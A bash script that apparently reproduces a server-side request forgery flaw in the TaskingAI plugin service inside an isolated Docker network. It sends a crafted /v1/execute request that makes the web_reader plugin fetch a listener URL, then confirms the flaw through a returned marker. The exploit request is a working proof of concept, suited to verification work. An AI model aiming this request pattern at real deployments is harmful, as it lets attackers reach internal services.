#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

NETWORK_NAME="taskingai-ssrf-net"
LISTENER_CONTAINER="taskingai-listener"
PLUGIN_CONTAINER="taskingai-plugin"
CLIENT_CONTAINER="taskingai-client"

EXIT_CODE=1
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_REACHED=false
PROOF_ARTIFACTS='[]'

write_manifest() {
    jq -n \
        --arg entrypoint_kind "service_api" \
        --arg entrypoint_detail "POST /v1/execute on taskingai/taskingai-plugin:latest" \
        --argjson service_started "$SERVICE_STARTED" \
        --argjson healthcheck_passed "$HEALTHCHECK_PASSED" \
        --argjson target_path_reached "$TARGET_REACHED" \
        --argjson runtime_stack '["docker","taskingai-plugin","python-listener","curl-client"]' \
        --argjson proof_artifacts "$PROOF_ARTIFACTS" \
        --arg notes "Docker network-based SSRF reproduction" \
        '{entrypoint_kind:$entrypoint_kind,entrypoint_detail:$entrypoint_detail,service_started:$service_started,healthcheck_passed:$healthcheck_passed,target_path_reached:$target_path_reached,runtime_stack:$runtime_stack,proof_artifacts:$proof_artifacts,notes:$notes}' \
        > "$REPRO_DIR/runtime_manifest.json" || true
}

cleanup() {
    docker rm -f "$LISTENER_CONTAINER" "$PLUGIN_CONTAINER" "$CLIENT_CONTAINER" 2>/dev/null || true
    docker network rm "$NETWORK_NAME" 2>/dev/null || true
    write_manifest
}

trap cleanup EXIT

docker network create "$NETWORK_NAME" 2>/dev/null || true

docker rm -f "$LISTENER_CONTAINER" "$PLUGIN_CONTAINER" "$CLIENT_CONTAINER" 2>/dev/null || true

echo "Starting listener container..."
docker run -d --name "$LISTENER_CONTAINER" --network "$NETWORK_NAME" python:3.11-slim \
    sh -c 'python3 -c "
import http.server
import socketserver

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(\"REQUEST_RECEIVED:\", self.path, flush=True)
        self.send_response(200)
        self.send_header(\"Content-type\", \"text/html\")
        self.end_headers()
        self.wfile.write(b\"PRUVA_TASKINGAI_SSRF_MARKER\")
    def log_message(self, format, *args):
        print(format % args, flush=True)

with socketserver.TCPServer((\"\", 9000), Handler) as httpd:
    httpd.serve_forever()
"'

sleep 3

echo "Starting TaskingAI plugin container..."
docker run -d --name "$PLUGIN_CONTAINER" --network "$NETWORK_NAME" \
    -e MODE=PROD \
    -e OBJECT_STORAGE_TYPE=local \
    -e PATH_TO_VOLUME=/data \
    -e HOST_URL=http://127.0.0.1:8000 \
    -e AES_ENCRYPTION_KEY=b90e4648ad699c3bdf62c0860e09eb9efc098ee75f215bf750847ae19d41e4b0 \
    -e INCLUDE_FILE_CATEGORY_IN_STORAGE_PATH=1 \
    -e DEFAULT_LANG=en \
    -e SERVICE_PORT=8000 \
    taskingai/taskingai-plugin:latest

SERVICE_STARTED=true
sleep 15

echo "Plugin logs (tail):"
docker logs "$PLUGIN_CONTAINER" 2>&1 | tail -40 > "$LOGS/plugin_startup.log" || true
cat "$LOGS/plugin_startup.log"

echo "Checking if plugin is up (from inside network)..."
for i in {1..20}; do
    if docker run --rm --network "$NETWORK_NAME" curlimages/curl -s -o /dev/null -w "%{http_code}" http://taskingai-plugin:8000/v1/execute 2>/dev/null | grep -qE '404|400|200|405'; then
        echo "Plugin is responding."
        HEALTHCHECK_PASSED=true
        break
    fi
    echo "Waiting for plugin... ($i/20)"
    sleep 3
done

if [ "$HEALTHCHECK_PASSED" = "false" ]; then
    echo "Plugin failed to respond inside network."
    EXIT_CODE=1
    PROOF_ARTIFACTS='["logs/plugin_startup.log"]'
    exit 1
fi

echo "Sending exploit request from client container..."
RESPONSE=$(docker run --rm --network "$NETWORK_NAME" curlimages/curl -s -X POST \
    http://taskingai-plugin:8000/v1/execute \
    -H "Content-Type: application/json" \
    -d '{
        "bundle_id": "web_reader",
        "plugin_id": "read_web_page",
        "input_params": {
            "url": "http://taskingai-listener:9000/internal/proof"
        },
        "credentials": {}
    }' 2>"$LOGS/execute_response.err")

echo "$RESPONSE" > "$LOGS/execute_response.json"
echo "Response: $RESPONSE"

echo "Listener logs:"
docker logs "$LISTENER_CONTAINER" 2>&1 | tee "$LOGS/listener.log" || true

MARKER_RESPONSE="false"
REQUEST_RECEIVED="false"

if grep -q "PRUVA_TASKINGAI_SSRF_MARKER" "$LOGS/execute_response.json"; then
    echo "MARKER FOUND in response!"
    MARKER_RESPONSE="true"
else
    echo "MARKER NOT FOUND in response."
fi

if grep -q "REQUEST_RECEIVED" "$LOGS/listener.log"; then
    echo "REQUEST RECEIVED by listener!"
    REQUEST_RECEIVED="true"
else
    echo "REQUEST NOT RECEIVED by listener."
fi

if [ "$MARKER_RESPONSE" = "true" ] && [ "$REQUEST_RECEIVED" = "true" ]; then
    echo "SSRF CONFIRMED: Plugin fetched attacker-controlled URL and returned the marker."
    TARGET_REACHED=true
    EXIT_CODE=0
    PROOF_ARTIFACTS='["logs/execute_response.json","logs/listener.log","logs/plugin_startup.log"]'
else
    echo "SSRF NOT CONFIRMED."
    EXIT_CODE=1
    PROOF_ARTIFACTS='["logs/execute_response.json","logs/execute_response.err","logs/listener.log","logs/plugin_startup.log"]'
fi

exit $EXIT_CODE